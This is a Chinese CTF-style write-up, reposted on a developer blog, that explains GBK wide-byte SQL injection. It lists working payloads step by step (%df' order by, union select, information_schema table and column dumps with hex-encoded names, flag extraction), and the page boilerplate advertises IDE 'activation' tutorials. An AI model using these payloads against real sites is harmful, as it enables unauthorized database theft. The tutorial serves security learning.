宽字节注入原理学习

宽字节注入原理学习0x01开篇本题用到考点是宽字节注入,遇到这种注入类型学习记录。推荐两篇链接:浅析白盒审计中的字符编码及SQL注入|离别歌Von的博客|VonBlog为方便自我下次忘记,总结一下:1.宽字节涉及到编码问题,便于理解需要看一看2.宽字节注入现在已经很少见,因为如今的编码大多使用utf-8常见url编码:空格–%20′–%27#–%23\–%5c0x02原理我们注入时都会简单输入一个’或者”,进行测试,如果数据库过滤不严格就会产生报错

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

0x01 开篇

本题用到考点是宽字节注入,遇到这种注入类型学习记录。

推荐两篇链接:浅析白盒审计中的字符编码及SQL注入 | 离别歌

Von的博客 | Von Blog

为方便自我下次忘记,总结一下:

1.宽字节涉及到编码问题,便于理解需要看一看

2.宽字节注入现在已经很少见,因为如今的编码大多使用utf-8

常见url编码:

空格 –%20

‘ –%27

# –%23

\ –%5c

0x02 原理

我们注入时都会简单输入一个 ‘ 或者 ” ,进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ‘ 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ‘ 就会失去注入的功能。

如下图所示,输入的 ‘ 被 \ 转义,注入功能失效,

宽字节注入原理学习

但是,如果输入这样的payload:1%df’,就会产生报错!

宽字节注入原理学习

这是什么逻辑呢?

GBK编码认为一个汉字占两个字节,%5c 是 / 的url编码,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,/ 自动消失,转义作用在此失效。重新构造出来的汉字叫这玩意“yun”。符合我的理解:真实存在但是浏览器不能很好识别。

宽字节注入原理学习

然后,我对%df产生疑问,为什么很多文章中使用的payload都用%df?

再次翻找文章并询问了周围大哥,得到答案。理论上讲,满足真实存在且不能被浏览器很好识别的汉字,并且编码能够包含%5c把 / 给弄没了的字符都可以。所以不必纠结为什么用%df,虽然我之前很纠结,哈哈哈。

像%81 、%a1经测试也是可以实现的,但是对应的汉字是什么我没有去找。

0x03 实例

明白原理,实例就和简单注入流程没有区别。为证明上述字符编码都可以实现,下面混淆使用,但效果是相同的。

猜字段

payload:1%81′ order by 1 %23

宽字节注入原理学习

测试到6出问题,可以判断5个字段

宽字节注入原理学习

union联合查询判断回显位置 payload:-1%a1′ union select 1,2,3,4,5 %23

宽字节注入原理学习

查询数据库名 payload: -1%df’ union select 1,database(),3,4,5 %23

宽字节注入原理学习

利用information_schema进行查询,需要注意的是,正常的payload是:-11%df’ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=’kzf’ %23 , 但是如果你真的这样使用,发现无法回显的,经百度发现问题是’kzf’里面的 ‘ 问题,如果想正常回显比较好的解决办法是:直接把数据库名变为16进制

宽字节注入原理学习

payload:-11%df’ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x6B7A66 %23

宽字节注入原理学习

得到表名this_flag,继续进行查询,还有这里有个神奇的问题。如果我输入payload:-1%df’ union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x746869735F666C6167 %23这条查询毫无问题,但是你会发现查询经常失败但一不小心就成功了,这里应该是它服务器的问题

宽字节注入原理学习

查询flag,payload:-1%df’ union select 1,2,group_concat(flag),4,5 from this_flag %23

宽字节注入原理学习

得到flag。

首发于2021-08-21 11:07

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/182181.html原文链接:https://javaforall.net

(0)
上一篇 2022年10月14日 上午9:00
下一篇 2022年10月14日 上午9:00


相关推荐

  • 软件生命周期_常见软件开发模型

    软件生命周期_常见软件开发模型1.软件生命周期软件生命周期是指软件从开始研制到最终被废弃所经历的各个阶段。在不同的阶段里,由不同的组织和人员执行不同的任务,需要消耗不同的资源。生命周期常见的有:瀑布模型、V模型、敏捷开发模型。

    2022年8月3日
    8
  • window 启动tomcat闪退 查看日志方法

    window 启动tomcat闪退 查看日志方法window启动tomcat闪退查看日志方法找到bin下面的startup.bat用文本方式打开找到末尾start改为run然后打开cmd窗口cd到tomcatbin路径执行startup.bat下图本来该报错会闪退,catalina日志文件也没记录该报错,导致我们看不到报错信息,设置后可清晰看到报错原因,端口号超出范围,改小就行了…

    2022年5月29日
    63
  • spark 入门_新手入门

    spark 入门_新手入门一Spark概述 111什么是Spark 2Spark特点 3Spark的用户和用途 二Spark集群安装 1集群角色 2机器准备 3下载Spark安装包 4配置SparkStandalone 5配置JobHistoryServerStandalone 6配置SparkHAStandalone 7配置SparkYarn …

    2025年8月2日
    5
  • JAVA实习生/应届生面试笔试题(一)

    一:单选题1. 下列哪一种叙述是正确的(D )A.abstract修饰符可修饰字段、方法和类B.抽象方法的body部分必须用一对大括号{}包住C.声明抽象方法,大括号可有可无D.声明抽象方法不可写出大括号2. 如下代码publicclassTest{publicintaMethod(){staticinti=0;i++;returni;}publicstatic…

    2022年4月9日
    84
  • windows远程桌面,停留在“请稍后”页面[通俗易懂]

    windows远程桌面,停留在“请稍后”页面[通俗易懂]最近登陆局域网远程桌面,输入账号密码,停留在“请稍后”页面,卡半天也进不去。我的解决方法:1.注销其他远程登陆帐户。2.重新连接远程桌面。

    2025年8月3日
    5
  • Java中获取时间戳

    Java中获取时间戳**Java语言中关于三种时间戳的获取之心得**最近项目开发过程中发现了项目中获取时间戳的业务。而获取时间戳有以下三种方式,首先先声明推荐使用System类来获取时间戳,下面一起看一看三种方式。1.System.currentTimeMillis()System类中的currentTimeMillis()方法是三种方式中效率最好的,运行时间最短。开发中如果设计到效率问题,推荐使用此种方式获取。System.currentTimeMillis()2.newDate().getTime()除

    2022年5月3日
    41

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号